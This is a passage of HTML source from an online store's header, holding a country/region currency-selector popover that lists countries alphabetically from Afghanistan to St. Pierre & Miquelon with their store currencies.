2230                <button type="button" is="toggle-button" class="popover-button text--small" aria-expanded="false" aria-controls="header-localization-form-currency">United States (USD $)<svg focusable="false" width="9" height="6" class="icon icon--chevron icon--inline  " viewBox="0 0 12 8">
2231        <path fill="none" d="M1 1l5 5 5-5" stroke="currentColor" stroke-width="1.5"></path>
2232      </svg></button>
2233
2234                <popover-content id="header-localization-form-currency" class="popover">
2235                  <span class="popover__overlay"></span>
2236
2237                  <header class="popover__header">
2238                    <span class="popover__title heading h6">Country/Region</span>
2239
2240                    <button type="button" class="popover__close-button tap-area tap-area--large" data-action="close" title="Close"><svg focusable="false" width="14" height="14" class="icon icon--close   " viewBox="0 0 14 14">
2241        <path d="M13 13L1 1M13 1L1 13" stroke="currentColor" stroke-width="1.5" fill="none"></path>
2242      </svg></button>
2243                  </header>
2244
2245                  <div class="popover__content popover__content--restrict">
2246                    <div class="popover__choice-list"><button type="submit" name="country_code" value="AF" class="popover__choice-item">
2247                          <span class="popover__choice-label" >Afghanistan (AFN ؋)
2248                          </span>
2249                        </button><button type="submit" name="country_code" value="AX" class="popover__choice-item">
2250                          <span class="popover__choice-label" >Åland Islands (EUR €)
2251                          </span>
2252                        </button><button type="submit" name="country_code" value="AL" class="popover__choice-item">
2253                          <span class="popover__choice-label" >Albania (ALL L)
2254                          </span>
2255                        </button><button type="submit" name="country_code" value="DZ" class="popover__choice-item">
2256                          <span class="popover__choice-label" >Algeria (DZD د.ج)
2257                          </span>
2258                        </button><button type="submit" name="country_code" value="AD" class="popover__choice-item">
2259                          <span class="popover__choice-label" >Andorra (EUR €)
2260                          </span>
2261                        </button><button type="submit" name="country_code" value="AO" class="popover__choice-item">
2262                          <span class="popover__choice-label" >Angola (EUR €)
2263                          </span>
2264                        </button><button type="submit" name="country_code" value="AI" class="popover__choice-item">
2265                          <span class="popover__choice-label" >Anguilla (XCD $)
2266                          </span>
2267                        </button><button type="submit" name="country_code" value="AG" class="popover__choice-item">
2268                          <span class="popover__choice-label" >Antigua &amp; Barbuda (XCD $)
2269                          </span>
2270                        </button><button type="submit" name="country_code" value="AR" class="popover__choice-item">
2271                          <span class="popover__choice-label" >Argentina (EUR €)
2272                          </span>
2273                        </button><button type="submit" name="country_code" value="AM" class="popover__choice-item">
2274                          <span class="popover__choice-label" >Armenia (AMD դր.)
2275                          </span>
2276                        </button><button type="submit" name="country_code" value="AW" class="popover__choice-item">
2277                          <span class="popover__choice-label" >Aruba (AWG ƒ)
2278                          </span>
2279                        </button><button type="submit" name="country_code" value="AC" class="popover__choice-item">
2280                          <span class="popover__choice-label" >Ascension Island (SHP £)
2281                          </span>
2282                        </button><button type="submit" name="country_code" value="AU" class="popover__choice-item">
2283                          <span class="popover__choice-label" >Australia (AUD $)
2284                          </span>
2285                        </button><button type="submit" name="country_code" value="AT" class="popover__choice-item">
2286                          <span class="popover__choice-label" >Austria (EUR €)
2287                          </span>
2288                        </button><button type="submit" name="country_code" value="AZ" class="popover__choice-item">
2289                          <span class="popover__choice-label" >Azerbaijan (AZN ₼)
2290                          </span>
2291                        </button><button type="submit" name="country_code" value="BS" class="popover__choice-item">
2292                          <span class="popover__choice-label" >Bahamas (BSD $)
2293                          </span>
2294                        </button><button type="submit" name="country_code" value="BH" class="popover__choice-item">
2295                          <span class="popover__choice-label" >Bahrain (EUR €)
2296                          </span>
2297                        </button><button type="submit" name="country_code" value="BD" class="popover__choice-item">
2298                          <span class="popover__choice-label" >Bangladesh (BDT à§³)
2299                          </span>
2300                        </button><button type="submit" name="country_code" value="BB" class="popover__choice-item">
2301                          <span class="popover__choice-label" >Barbados (BBD $)
2302                          </span>
2303                        </button><button type="submit" name="country_code" value="BY" class="popover__choice-item">
2304                          <span class="popover__choice-label" >Belarus (EUR €)
2305                          </span>
2306                        </button><button type="submit" name="country_code" value="BE" class="popover__choice-item">
2307                          <span class="popover__choice-label" >Belgium (EUR €)
2308                          </span>
2309                        </button><button type="submit" name="country_code" value="BZ" class="popover__choice-item">
2310                          <span class="popover__choice-label" >Belize (BZD $)
2311                          </span>
2312                        </button><button type="submit" name="country_code" value="BJ" class="popover__choice-item">
2313                          <span class="popover__choice-label" >Benin (XOF Fr)
2314                          </span>
2315                        </button><button type="submit" name="country_code" value="BM" class="popover__choice-item">
2316                          <span class="popover__choice-label" >Bermuda (USD $)
2317                          </span>
2318                        </button><button type="submit" name="country_code" value="BT" class="popover__choice-item">
2319                          <span class="popover__choice-label" >Bhutan (EUR €)
2320                          </span>
2321                        </button><button type="submit" name="country_code" value="BO" class="popover__choice-item">
2322                          <span class="popover__choice-label" >Bolivia (BOB Bs.)
2323                          </span>
2324                        </button><button type="submit" name="country_code" value="BA" class="popover__choice-item">
2325                          <span class="popover__choice-label" >Bosnia &amp; Herzegovina (BAM КМ)
2326                          </span>
2327                        </button><button type="submit" name="country_code" value="BW" class="popover__choice-item">
2328                          <span class="popover__choice-label" >Botswana (BWP P)
2329                          </span>
2330                        </button><button type="submit" name="country_code" value="BR" class="popover__choice-item">
2331                          <span class="popover__choice-label" >Brazil (EUR €)
2332                          </span>
2333                        </button><button type="submit" name="country_code" value="IO" class="popover__choice-item">
2334                          <span class="popover__choice-label" >British Indian Ocean Territory (USD $)
2335                          </span>
2336                        </button><button type="submit" name="country_code" value="VG" class="popover__choice-item">
2337                          <span class="popover__choice-label" >British Virgin Islands (USD $)
2338                          </span>
2339                        </button><button type="submit" name="country_code" value="BN" class="popover__choice-item">
2340                          <span class="popover__choice-label" >Brunei (BND $)
2341                          </span>
2342                        </button><button type="submit" name="country_code" value="BG" class="popover__choice-item">
2343                          <span class="popover__choice-label" >Bulgaria (EUR €)
2344                          </span>
2345                        </button><button type="submit" name="country_code" value="BF" class="popover__choice-item">
2346                          <span class="popover__choice-label" >Burkina Faso (XOF Fr)
2347                          </span>
2348                        </button><button type="submit" name="country_code" value="BI" class="popover__choice-item">
2349                          <span class="popover__choice-label" >Burundi (BIF Fr)
2350                          </span>
2351                        </button><button type="submit" name="country_code" value="KH" class="popover__choice-item">
2352                          <span class="popover__choice-label" >Cambodia (KHR ៛)
2353                          </span>
2354                        </button><button type="submit" name="country_code" value="CM" class="popover__choice-item">
2355                          <span class="popover__choice-label" >Cameroon (XAF CFA)
2356                          </span>
2357                        </button><button type="submit" name="country_code" value="CA" class="popover__choice-item">
2358                          <span class="popover__choice-label" >Canada (CAD $)
2359                          </span>
2360                        </button><button type="submit" name="country_code" value="CV" class="popover__choice-item">
2361                          <span class="popover__choice-label" >Cape Verde (CVE $)
2362                          </span>
2363                        </button><button type="submit" name="country_code" value="BQ" class="popover__choice-item">
2364                          <span class="popover__choice-label" >Caribbean Netherlands (USD $)
2365                          </span>
2366                        </button><button type="submit" name="country_code" value="KY" class="popover__choice-item">
2367                          <span class="popover__choice-label" >Cayman Islands (KYD $)
2368                          </span>
2369                        </button><button type="submit" name="country_code" value="CF" class="popover__choice-item">
2370                          <span class="popover__choice-label" >Central African Republic (XAF CFA)
2371                          </span>
2372                        </button><button type="submit" name="country_code" value="TD" class="popover__choice-item">
2373                          <span class="popover__choice-label" >Chad (XAF CFA)
2374                          </span>
2375                        </button><button type="submit" name="country_code" value="CL" class="popover__choice-item">
2376                          <span class="popover__choice-label" >Chile (EUR €)
2377                          </span>
2378                        </button><button type="submit" name="country_code" value="CN" class="popover__choice-item">
2379                          <span class="popover__choice-label" >China (CNY ¥)
2380                          </span>
2381                        </button><button type="submit" name="country_code" value="CX" class="popover__choice-item">
2382                          <span class="popover__choice-label" >Christmas Island (AUD $)
2383                          </span>
2384                        </button><button type="submit" name="country_code" value="CC" class="popover__choice-item">
2385                          <span class="popover__choice-label" >Cocos (Keeling) Islands (AUD $)
2386                          </span>
2387                        </button><button type="submit" name="country_code" value="CO" class="popover__choice-item">
2388                          <span class="popover__choice-label" >Colombia (EUR €)
2389                          </span>
2390                        </button><button type="submit" name="country_code" value="KM" class="popover__choice-item">
2391                          <span class="popover__choice-label" >Comoros (KMF Fr)
2392                          </span>
2393                        </button><button type="submit" name="country_code" value="CG" class="popover__choice-item">
2394                          <span class="popover__choice-label" >Congo - Brazzaville (XAF CFA)
2395                          </span>
2396                        </button><button type="submit" name="country_code" value="CD" class="popover__choice-item">
2397                          <span class="popover__choice-label" >Congo - Kinshasa (CDF Fr)
2398                          </span>
2399                        </button><button type="submit" name="country_code" value="CK" class="popover__choice-item">
2400                          <span class="popover__choice-label" >Cook Islands (NZD $)
2401                          </span>
2402                        </button><button type="submit" name="country_code" value="CR" class="popover__choice-item">
2403                          <span class="popover__choice-label" >Costa Rica (CRC ₡)
2404                          </span>
2405                        </button><button type="submit" name="country_code" value="CI" class="popover__choice-item">
2406                          <span class="popover__choice-label" >Côte d’Ivoire (XOF Fr)
2407                          </span>
2408                        </button><button type="submit" name="country_code" value="HR" class="popover__choice-item">
2409                          <span class="popover__choice-label" >Croatia (EUR €)
2410                          </span>
2411                        </button><button type="submit" name="country_code" value="CW" class="popover__choice-item">
2412                          <span class="popover__choice-label" >Curaçao (ANG ƒ)
2413                          </span>
2414                        </button><button type="submit" name="country_code" value="CY" class="popover__choice-item">
2415                          <span class="popover__choice-label" >Cyprus (EUR €)
2416                          </span>
2417                        </button><button type="submit" name="country_code" value="CZ" class="popover__choice-item">
2418                          <span class="popover__choice-label" >Czechia (CZK Kč)
2419                          </span>
2420                        </button><button type="submit" name="country_code" value="DK" class="popover__choice-item">
2421                          <span class="popover__choice-label" >Denmark (DKK kr.)
2422                          </span>
2423                        </button><button type="submit" name="country_code" value="DJ" class="popover__choice-item">
2424                          <span class="popover__choice-label" >Djibouti (DJF Fdj)
2425                          </span>
2426                        </button><button type="submit" name="country_code" value="DM" class="popover__choice-item">
2427                          <span class="popover__choice-label" >Dominica (XCD $)
2428                          </span>
2429                        </button><button type="submit" name="country_code" value="DO" class="popover__choice-item">
2430                          <span class="popover__choice-label" >Dominican Republic (DOP $)
2431                          </span>
2432                        </button><button type="submit" name="country_code" value="EC" class="popover__choice-item">
2433                          <span class="popover__choice-label" >Ecuador (USD $)
2434                          </span>
2435                        </button><button type="submit" name="country_code" value="EG" class="popover__choice-item">
2436                          <span class="popover__choice-label" >Egypt (EGP ج.م)
2437                          </span>
2438                        </button><button type="submit" name="country_code" value="SV" class="popover__choice-item">
2439                          <span class="popover__choice-label" >El Salvador (USD $)
2440                          </span>
2441                        </button><button type="submit" name="country_code" value="GQ" class="popover__choice-item">
2442                          <span class="popover__choice-label" >Equatorial Guinea (XAF CFA)
2443                          </span>
2444                        </button><button type="submit" name="country_code" value="ER" class="popover__choice-item">
2445                          <span class="popover__choice-label" >Eritrea (EUR €)
2446                          </span>
2447                        </button><button type="submit" name="country_code" value="EE" class="popover__choice-item">
2448                          <span class="popover__choice-label" >Estonia (EUR €)
2449                          </span>
2450                        </button><button type="submit" name="country_code" value="SZ" class="popover__choice-item">
2451                          <span class="popover__choice-label" >Eswatini (EUR €)
2452                          </span>
2453                        </button><button type="submit" name="country_code" value="ET" class="popover__choice-item">
2454                          <span class="popover__choice-label" >Ethiopia (ETB Br)
2455                          </span>
2456                        </button><button type="submit" name="country_code" value="FK" class="popover__choice-item">
2457                          <span class="popover__choice-label" >Falkland Islands (FKP £)
2458                          </span>
2459                        </button><button type="submit" name="country_code" value="FO" class="popover__choice-item">
2460                          <span class="popover__choice-label" >Faroe Islands (DKK kr.)
2461                          </span>
2462                        </button><button type="submit" name="country_code" value="FJ" class="popover__choice-item">
2463                          <span class="popover__choice-label" >Fiji (FJD $)
2464                          </span>
2465                        </button><button type="submit" name="country_code" value="FI" class="popover__choice-item">
2466                          <span class="popover__choice-label" >Finland (EUR €)
2467                          </span>
2468                        </button><button type="submit" name="country_code" value="FR" class="popover__choice-item">
2469                          <span class="popover__choice-label" >France (EUR €)
2470                          </span>
2471                        </button><button type="submit" name="country_code" value="GF" class="popover__choice-item">
2472                          <span class="popover__choice-label" >French Guiana (EUR €)
2473                          </span>
2474                        </button><button type="submit" name="country_code" value="PF" class="popover__choice-item">
2475                          <span class="popover__choice-label" >French Polynesia (XPF Fr)
2476                          </span>
2477                        </button><button type="submit" name="country_code" value="TF" class="popover__choice-item">
2478                          <span class="popover__choice-label" >French Southern Territories (EUR €)
2479                          </span>
2480                        </button><button type="submit" name="country_code" value="GA" class="popover__choice-item">
2481                          <span class="popover__choice-label" >Gabon (XOF Fr)
2482                          </span>
2483                        </button><button type="submit" name="country_code" value="GM" class="popover__choice-item">
2484                          <span class="popover__choice-label" >Gambia (GMD D)
2485                          </span>
2486                        </button><button type="submit" name="country_code" value="GE" class="popover__choice-item">
2487                          <span class="popover__choice-label" >Georgia (EUR €)
2488                          </span>
2489                        </button><button type="submit" name="country_code" value="DE" class="popover__choice-item">
2490                          <span class="popover__choice-label" >Germany (EUR €)
2491                          </span>
2492                        </button><button type="submit" name="country_code" value="GH" class="popover__choice-item">
2493                          <span class="popover__choice-label" >Ghana (EUR €)
2494                          </span>
2495                        </button><button type="submit" name="country_code" value="GI" class="popover__choice-item">
2496                          <span class="popover__choice-label" >Gibraltar (GBP £)
2497                          </span>
2498                        </button><button type="submit" name="country_code" value="GR" class="popover__choice-item">
2499                          <span class="popover__choice-label" >Greece (EUR €)
2500                          </span>
2501                        </button><button type="submit" name="country_code" value="GL" class="popover__choice-item">
2502                          <span class="popover__choice-label" >Greenland (DKK kr.)
2503                          </span>
2504                        </button><button type="submit" name="country_code" value="GD" class="popover__choice-item">
2505                          <span class="popover__choice-label" >Grenada (XCD $)
2506                          </span>
2507                        </button><button type="submit" name="country_code" value="GP" class="popover__choice-item">
2508                          <span class="popover__choice-label" >Guadeloupe (EUR €)
2509                          </span>
2510                        </button><button type="submit" name="country_code" value="GT" class="popover__choice-item">
2511                          <span class="popover__choice-label" >Guatemala (GTQ Q)
2512                          </span>
2513                        </button><button type="submit" name="country_code" value="GG" class="popover__choice-item">
2514                          <span class="popover__choice-label" >Guernsey (GBP £)
2515                          </span>
2516                        </button><button type="submit" name="country_code" value="GN" class="popover__choice-item">
2517                          <span class="popover__choice-label" >Guinea (GNF Fr)
2518                          </span>
2519                        </button><button type="submit" name="country_code" value="GW" class="popover__choice-item">
2520                          <span class="popover__choice-label" >Guinea-Bissau (XOF Fr)
2521                          </span>
2522                        </button><button type="submit" name="country_code" value="GY" class="popover__choice-item">
2523                          <span class="popover__choice-label" >Guyana (GYD $)
2524                          </span>
2525                        </button><button type="submit" name="country_code" value="HT" class="popover__choice-item">
2526                          <span class="popover__choice-label" >Haiti (EUR €)
2527                          </span>
2528                        </button><button type="submit" name="country_code" value="HN" class="popover__choice-item">
2529                          <span class="popover__choice-label" >Honduras (HNL L)
2530                          </span>
2531                        </button><button type="submit" name="country_code" value="HK" class="popover__choice-item">
2532                          <span class="popover__choice-label" >Hong Kong SAR (HKD $)
2533                          </span>
2534                        </button><button type="submit" name="country_code" value="HU" class="popover__choice-item">
2535                          <span class="popover__choice-label" >Hungary (HUF Ft)
2536                          </span>
2537                        </button><button type="submit" name="country_code" value="IS" class="popover__choice-item">
2538                          <span class="popover__choice-label" >Iceland (ISK kr)
2539                          </span>
2540                        </button><button type="submit" name="country_code" value="IN" class="popover__choice-item">
2541                          <span class="popover__choice-label" >India (INR ₹)
2542                          </span>
2543                        </button><button type="submit" name="country_code" value="ID" class="popover__choice-item">
2544                          <span class="popover__choice-label" >Indonesia (IDR Rp)
2545                          </span>
2546                        </button><button type="submit" name="country_code" value="IQ" class="popover__choice-item">
2547                          <span class="popover__choice-label" >Iraq (EUR €)
2548                          </span>
2549                        </button><button type="submit" name="country_code" value="IE" class="popover__choice-item">
2550                          <span class="popover__choice-label" >Ireland (EUR €)
2551                          </span>
2552                        </button><button type="submit" name="country_code" value="IM" class="popover__choice-item">
2553                          <span class="popover__choice-label" >Isle of Man (GBP £)
2554                          </span>
2555                        </button><button type="submit" name="country_code" value="IL" class="popover__choice-item">
2556                          <span class="popover__choice-label" >Israel (ILS ₪)
2557                          </span>
2558                        </button><button type="submit" name="country_code" value="IT" class="popover__choice-item">
2559                          <span class="popover__choice-label" >Italy (EUR €)
2560                          </span>
2561                        </button><button type="submit" name="country_code" value="JM" class="popover__choice-item">
2562                          <span class="popover__choice-label" >Jamaica (JMD $)
2563                          </span>
2564                        </button><button type="submit" name="country_code" value="JP" class="popover__choice-item">
2565                          <span class="popover__choice-label" >Japan (JPY ¥)
2566                          </span>
2567                        </button><button type="submit" name="country_code" value="JE" class="popover__choice-item">
2568                          <span class="popover__choice-label" >Jersey (EUR €)
2569                          </span>
2570                        </button><button type="submit" name="country_code" value="JO" class="popover__choice-item">
2571                          <span class="popover__choice-label" >Jordan (EUR €)
2572                          </span>
2573                        </button><button type="submit" name="country_code" value="KZ" class="popover__choice-item">
2574                          <span class="popover__choice-label" >Kazakhstan (KZT ₸)
2575                          </span>
2576                        </button><button type="submit" name="country_code" value="KE" class="popover__choice-item">
2577                          <span class="popover__choice-label" >Kenya (KES KSh)
2578                          </span>
2579                        </button><button type="submit" name="country_code" value="KI" class="popover__choice-item">
2580                          <span class="popover__choice-label" >Kiribati (EUR €)
2581                          </span>
2582                        </button><button type="submit" name="country_code" value="XK" class="popover__choice-item">
2583                          <span class="popover__choice-label" >Kosovo (EUR €)
2584                          </span>
2585                        </button><button type="submit" name="country_code" value="KW" class="popover__choice-item">
2586                          <span class="popover__choice-label" >Kuwait (EUR €)
2587                          </span>
2588                        </button><button type="submit" name="country_code" value="KG" class="popover__choice-item">
2589                          <span class="popover__choice-label" >Kyrgyzstan (KGS som)
2590                          </span>
2591                        </button><button type="submit" name="country_code" value="LA" class="popover__choice-item">
2592                          <span class="popover__choice-label" >Laos (LAK ₭)
2593                          </span>
2594                        </button><button type="submit" name="country_code" value="LV" class="popover__choice-item">
2595                          <span class="popover__choice-label" >Latvia (EUR €)
2596                          </span>
2597                        </button><button type="submit" name="country_code" value="LB" class="popover__choice-item">
2598                          <span class="popover__choice-label" >Lebanon (LBP ل.ل)
2599                          </span>
2600                        </button><button type="submit" name="country_code" value="LS" class="popover__choice-item">
2601                          <span class="popover__choice-label" >Lesotho (EUR €)
2602                          </span>
2603                        </button><button type="submit" name="country_code" value="LR" class="popover__choice-item">
2604                          <span class="popover__choice-label" >Liberia (EUR €)
2605                          </span>
2606                        </button><button type="submit" name="country_code" value="LY" class="popover__choice-item">
2607                          <span class="popover__choice-label" >Libya (EUR €)
2608                          </span>
2609                        </button><button type="submit" name="country_code" value="LI" class="popover__choice-item">
2610                          <span class="popover__choice-label" >Liechtenstein (CHF CHF)
2611                          </span>
2612                        </button><button type="submit" name="country_code" value="LT" class="popover__choice-item">
2613                          <span class="popover__choice-label" >Lithuania (EUR €)
2614                          </span>
2615                        </button><button type="submit" name="country_code" value="LU" class="popover__choice-item">
2616                          <span class="popover__choice-label" >Luxembourg (EUR €)
2617                          </span>
2618                        </button><button type="submit" name="country_code" value="MO" class="popover__choice-item">
2619                          <span class="popover__choice-label" >Macao SAR (MOP P)
2620                          </span>
2621                        </button><button type="submit" name="country_code" value="MG" class="popover__choice-item">
2622                          <span class="popover__choice-label" >Madagascar (EUR €)
2623                          </span>
2624                        </button><button type="submit" name="country_code" value="MW" class="popover__choice-item">
2625                          <span class="popover__choice-label" >Malawi (MWK MK)
2626                          </span>
2627                        </button><button type="submit" name="country_code" value="MY" class="popover__choice-item">
2628                          <span class="popover__choice-label" >Malaysia (MYR RM)
2629                          </span>
2630                        </button><button type="submit" name="country_code" value="MV" class="popover__choice-item">
2631                          <span class="popover__choice-label" >Maldives (MVR MVR)
2632                          </span>
2633                        </button><button type="submit" name="country_code" value="ML" class="popover__choice-item">
2634                          <span class="popover__choice-label" >Mali (XOF Fr)
2635                          </span>
2636                        </button><button type="submit" name="country_code" value="MT" class="popover__choice-item">
2637                          <span class="popover__choice-label" >Malta (EUR €)
2638                          </span>
2639                        </button><button type="submit" name="country_code" value="MQ" class="popover__choice-item">
2640                          <span class="popover__choice-label" >Martinique (EUR €)
2641                          </span>
2642                        </button><button type="submit" name="country_code" value="MR" class="popover__choice-item">
2643                          <span class="popover__choice-label" >Mauritania (EUR €)
2644                          </span>
2645                        </button><button type="submit" name="country_code" value="MU" class="popover__choice-item">
2646                          <span class="popover__choice-label" >Mauritius (MUR ₨)
2647                          </span>
2648                        </button><button type="submit" name="country_code" value="YT" class="popover__choice-item">
2649                          <span class="popover__choice-label" >Mayotte (EUR €)
2650                          </span>
2651                        </button><button type="submit" name="country_code" value="MX" class="popover__choice-item">
2652                          <span class="popover__choice-label" >Mexico (EUR €)
2653                          </span>
2654                        </button><button type="submit" name="country_code" value="MD" class="popover__choice-item">
2655                          <span class="popover__choice-label" >Moldova (MDL L)
2656                          </span>
2657                        </button><button type="submit" name="country_code" value="MC" class="popover__choice-item">
2658                          <span class="popover__choice-label" >Monaco (EUR €)
2659                          </span>
2660                        </button><button type="submit" name="country_code" value="MN" class="popover__choice-item">
2661                          <span class="popover__choice-label" >Mongolia (MNT ₮)
2662                          </span>
2663                        </button><button type="submit" name="country_code" value="ME" class="popover__choice-item">
2664                          <span class="popover__choice-label" >Montenegro (EUR €)
2665                          </span>
2666                        </button><button type="submit" name="country_code" value="MS" class="popover__choice-item">
2667                          <span class="popover__choice-label" >Montserrat (XCD $)
2668                          </span>
2669                        </button><button type="submit" name="country_code" value="MA" class="popover__choice-item">
2670                          <span class="popover__choice-label" >Morocco (MAD د.م.)
2671                          </span>
2672                        </button><button type="submit" name="country_code" value="MZ" class="popover__choice-item">
2673                          <span class="popover__choice-label" >Mozambique (EUR €)
2674                          </span>
2675                        </button><button type="submit" name="country_code" value="MM" class="popover__choice-item">
2676                          <span class="popover__choice-label" >Myanmar (Burma) (MMK K)
2677                          </span>
2678                        </button><button type="submit" name="country_code" value="NA" class="popover__choice-item">
2679                          <span class="popover__choice-label" >Namibia (EUR €)
2680                          </span>
2681                        </button><button type="submit" name="country_code" value="NR" class="popover__choice-item">
2682                          <span class="popover__choice-label" >Nauru (AUD $)
2683                          </span>
2684                        </button><button type="submit" name="country_code" value="NP" class="popover__choice-item">
2685                          <span class="popover__choice-label" >Nepal (NPR Rs.)
2686                          </span>
2687                        </button><button type="submit" name="country_code" value="NL" class="popover__choice-item">
2688                          <span class="popover__choice-label" >Netherlands (EUR €)
2689                          </span>
2690                        </button><button type="submit" name="country_code" value="NC" class="popover__choice-item">
2691                          <span class="popover__choice-label" >New Caledonia (XPF Fr)
2692                          </span>
2693                        </button><button type="submit" name="country_code" value="NZ" class="popover__choice-item">
2694                          <span class="popover__choice-label" >New Zealand (NZD $)
2695                          </span>
2696                        </button><button type="submit" name="country_code" value="NI" class="popover__choice-item">
2697                          <span class="popover__choice-label" >Nicaragua (NIO C$)
2698                          </span>
2699                        </button><button type="submit" name="country_code" value="NE" class="popover__choice-item">
2700                          <span class="popover__choice-label" >Niger (XOF Fr)
2701                          </span>
2702                        </button><button type="submit" name="country_code" value="NG" class="popover__choice-item">
2703                          <span class="popover__choice-label" >Nigeria (NGN ₦)
2704                          </span>
2705                        </button><button type="submit" name="country_code" value="NU" class="popover__choice-item">
2706                          <span class="popover__choice-label" >Niue (NZD $)
2707                          </span>
2708                        </button><button type="submit" name="country_code" value="NF" class="popover__choice-item">
2709                          <span class="popover__choice-label" >Norfolk Island (AUD $)
2710                          </span>
2711                        </button><button type="submit" name="country_code" value="MK" class="popover__choice-item">
2712                          <span class="popover__choice-label" >North Macedonia (MKD ден)
2713                          </span>
2714                        </button><button type="submit" name="country_code" value="NO" class="popover__choice-item">
2715                          <span class="popover__choice-label" >Norway (NOK kr)
2716                          </span>
2717                        </button><button type="submit" name="country_code" value="OM" class="popover__choice-item">
2718                          <span class="popover__choice-label" >Oman (EUR €)
2719                          </span>
2720                        </button><button type="submit" name="country_code" value="PK" class="popover__choice-item">
2721                          <span class="popover__choice-label" >Pakistan (PKR ₨)
2722                          </span>
2723                        </button><button type="submit" name="country_code" value="PS" class="popover__choice-item">
2724                          <span class="popover__choice-label" >Palestinian Territories (ILS ₪)
2725                          </span>
2726                        </button><button type="submit" name="country_code" value="PA" class="popover__choice-item">
2727                          <span class="popover__choice-label" >Panama (USD $)
2728                          </span>
2729                        </button><button type="submit" name="country_code" value="PG" class="popover__choice-item">
2730                          <span class="popover__choice-label" >Papua New Guinea (PGK K)
2731                          </span>
2732                        </button><button type="submit" name="country_code" value="PY" class="popover__choice-item">
2733                          <span class="popover__choice-label" >Paraguay (PYG ₲)
2734                          </span>
2735                        </button><button type="submit" name="country_code" value="PE" class="popover__choice-item">
2736                          <span class="popover__choice-label" >Peru (PEN S/)
2737                          </span>
2738                        </button><button type="submit" name="country_code" value="PH" class="popover__choice-item">
2739                          <span class="popover__choice-label" >Philippines (PHP ₱)
2740                          </span>
2741                        </button><button type="submit" name="country_code" value="PN" class="popover__choice-item">
2742                          <span class="popover__choice-label" >Pitcairn Islands (NZD $)
2743                          </span>
2744                        </button><button type="submit" name="country_code" value="PL" class="popover__choice-item">
2745                          <span class="popover__choice-label" >Poland (PLN zł)
2746                          </span>
2747                        </button><button type="submit" name="country_code" value="PT" class="popover__choice-item">
2748                          <span class="popover__choice-label" >Portugal (EUR €)
2749                          </span>
2750                        </button><button type="submit" name="country_code" value="QA" class="popover__choice-item">
2751                          <span class="popover__choice-label" >Qatar (QAR ر.ق)
2752                          </span>
2753                        </button><button type="submit" name="country_code" value="RE" class="popover__choice-item">
2754                          <span class="popover__choice-label" >Réunion (EUR €)
2755                          </span>
2756                        </button><button type="submit" name="country_code" value="RO" class="popover__choice-item">
2757                          <span class="popover__choice-label" >Romania (RON Lei)
2758                          </span>
2759                        </button><button type="submit" name="country_code" value="RU" class="popover__choice-item">
2760                          <span class="popover__choice-label" >Russia (EUR €)
2761                          </span>
2762                        </button><button type="submit" name="country_code" value="RW" class="popover__choice-item">
2763                          <span class="popover__choice-label" >Rwanda (RWF FRw)
2764                          </span>
2765                        </button><button type="submit" name="country_code" value="WS" class="popover__choice-item">
2766                          <span class="popover__choice-label" >Samoa (WST T)
2767                          </span>
2768                        </button><button type="submit" name="country_code" value="SM" class="popover__choice-item">
2769                          <span class="popover__choice-label" >San Marino (EUR €)
2770                          </span>
2771                        </button><button type="submit" name="country_code" value="ST" class="popover__choice-item">
2772                          <span class="popover__choice-label" >São Tomé &amp; Príncipe (STD Db)
2773                          </span>
2774                        </button><button type="submit" name="country_code" value="SA" class="popover__choice-item">
2775                          <span class="popover__choice-label" >Saudi Arabia (SAR ر.س)
2776                          </span>
2777                        </button><button type="submit" name="country_code" value="SN" class="popover__choice-item">
2778                          <span class="popover__choice-label" >Senegal (XOF Fr)
2779                          </span>
2780                        </button><button type="submit" name="country_code" value="RS" class="popover__choice-item">
2781                          <span class="popover__choice-label" >Serbia (RSD РСД)
2782                          </span>
2783                        </button><button type="submit" name="country_code" value="SC" class="popover__choice-item">
2784                          <span class="popover__choice-label" >Seychelles (EUR €)
2785                          </span>
2786                        </button><button type="submit" name="country_code" value="SL" class="popover__choice-item">
2787                          <span class="popover__choice-label" >Sierra Leone (SLL Le)
2788                          </span>
2789                        </button><button type="submit" name="country_code" value="SG" class="popover__choice-item">
2790                          <span class="popover__choice-label" >Singapore (SGD $)
2791                          </span>
2792                        </button><button type="submit" name="country_code" value="SX" class="popover__choice-item">
2793                          <span class="popover__choice-label" >Sint Maarten (ANG ƒ)
2794                          </span>
2795                        </button><button type="submit" name="country_code" value="SK" class="popover__choice-item">
2796                          <span class="popover__choice-label" >Slovakia (EUR €)
2797                          </span>
2798                        </button><button type="submit" name="country_code" value="SI" class="popover__choice-item">
2799                          <span class="popover__choice-label" >Slovenia (EUR €)
2800                          </span>
2801                        </button><button type="submit" name="country_code" value="SB" class="popover__choice-item">
2802                          <span class="popover__choice-label" >Solomon Islands (SBD $)
2803                          </span>
2804                        </button><button type="submit" name="country_code" value="SO" class="popover__choice-item">
2805                          <span class="popover__choice-label" >Somalia (EUR €)
2806                          </span>
2807                        </button><button type="submit" name="country_code" value="ZA" class="popover__choice-item">
2808                          <span class="popover__choice-label" >South Africa (EUR €)
2809                          </span>
2810                        </button><button type="submit" name="country_code" value="GS" class="popover__choice-item">
2811                          <span class="popover__choice-label" >South Georgia &amp; South Sandwich Islands (GBP £)
2812                          </span>
2813                        </button><button type="submit" name="country_code" value="KR" class="popover__choice-item">
2814                          <span class="popover__choice-label" >South Korea (KRW ₩)
2815                          </span>
2816                        </button><button type="submit" name="country_code" value="SS" class="popover__choice-item">
2817                          <span class="popover__choice-label" >South Sudan (EUR €)
2818                          </span>
2819                        </button><button type="submit" name="country_code" value="ES" class="popover__choice-item">
2820                          <span class="popover__choice-label" >Spain (EUR €)
2821                          </span>
2822                        </button><button type="submit" name="country_code" value="LK" class="popover__choice-item">
2823                          <span class="popover__choice-label" >Sri Lanka (LKR ₨)
2824                          </span>
2825                        </button><button type="submit" name="country_code" value="BL" class="popover__choice-item">
2826                          <span class="popover__choice-label" >St. Barthélemy (EUR €)
2827                          </span>
2828                        </button><button type="submit" name="country_code" value="SH" class="popover__choice-item">
2829                          <span class="popover__choice-label" >St. Helena (SHP £)
2830                          </span>
2831                        </button><button type="submit" name="country_code" value="KN" class="popover__choice-item">
2832                          <span class="popover__choice-label" >St. Kitts &amp; Nevis (XCD $)
2833                          </span>
2834                        </button><button type="submit" name="country_code" value="LC" class="popover__choice-item">
2835                          <span class="popover__choice-label" >St. Lucia (XCD $)
2836                          </span>
2837                        </button><button type="submit" name="country_code" value="MF" class="popover__choice-item">
2838                          <span class="popover__choice-label" >St. Martin (EUR €)
2839                          </span>
2840                        </button><button type="submit" name="country_code" value="PM" class="popover__choice-item">
2841                          <span class="popover__choice-label" >St. Pierre &amp; Miquelon (EUR €)
2842                          </span>
